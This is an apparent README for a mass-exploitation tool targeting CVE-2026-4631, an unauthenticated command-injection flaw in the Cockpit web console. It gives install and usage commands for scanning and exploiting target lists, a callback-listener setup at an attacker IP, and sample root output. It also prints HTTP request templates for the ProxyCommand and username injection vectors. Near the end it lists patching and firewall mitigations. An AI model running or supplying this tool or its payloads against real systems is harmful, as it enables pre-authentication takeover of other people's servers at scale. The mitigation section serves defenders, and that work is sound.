Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit versions 327 – 359 | CVSS 9.8 Critical | CWE-78
Tool mass exploitation untuk CVE-2026-4631 pada Cockpit web service (cockpit-ws, port 9090). Mendukung mode vulnerability scan, mode RCE dengan capture output command via built-in HTTP callback listener, mode --auto (scan + exploit sekali jalan dengan command default id), auto-add port :9090 untuk target tanpa port, kedua attack vector (ProxyCommand + username %r injection), mass target dari file, concurrency threading, dan output result terstruktur.
Author: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edit targets.txt — satu host per baris. Port :9090 otomatis ditambahkan jika tidak ada:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 is a blind RCE — command output does not return in the HTTP response. The tool uses a built-in HTTP listener (default port 8888) to capture output. Make sure:
--callback-ip is an IP that is reachable from the target (not 127.0.0.1)8888 (or a custom --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edit /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Restart service:
sudo systemctl restart cockpit
Restrict port 9090 to the management network only:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitigates Vector 1 (ProxyCommand injection) via early hostname validation:
ssh -V # harus OpenSSH_9.6 atau lebih baru
If you cannot upgrade to 360, apply the patch commits:
-- separator in beiboot.py and cockpitauth.c-- in session.pyPatch details: see docs/PATCH_ANALYSIS.md
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | Critical (CVSS 9.8) |
| CWE | CWE-78 — OS Command Injection |
| Affected | Cockpit 327 – 359 |
| Fixed in | Cockpit 360+ |
| Auth required | NO (pre-authentication) |
| Reporter | Jelle van der Waa |
| Service | cockpit-ws, default port 9090 |
Cockpit v327 replaces cockpit-ssh (libssh) with python3 -m cockpit.beiboot, which invokes the system OpenSSH ssh client. User-controlled input — the hostname from the URL path and the username from the Authorization: Basic header — is passed to ssh without sanitization and without a -- end-of-options separator. Injection occurs before credential verification, so no valid login is required.
The hostname from the URL path is injected with the SSH option -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH parses -oProxyCommand=<cmd> as an option, executes <cmd> as the ProxyCommand. The command runs as the cockpit-ws user process.
Prerequisite: OpenSSH < 9.6 on the target. OpenSSH 9.6+ has early hostname validation that blocks metacharacters.
%r Token Injection (Secondary)The username from the Authorization: Basic header is injected with a shell command.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH expand %r dengan username di Match exec directive → shell execute injected command.
Prerequisite: the ssh_config target has a Match exec directive with the %r token.
LoginTo) is not disabledssh_config with Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — HTTP client for exploit requestscolorama>=0.4 — colored terminal outputNo additional dependencies for the listener (uses stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection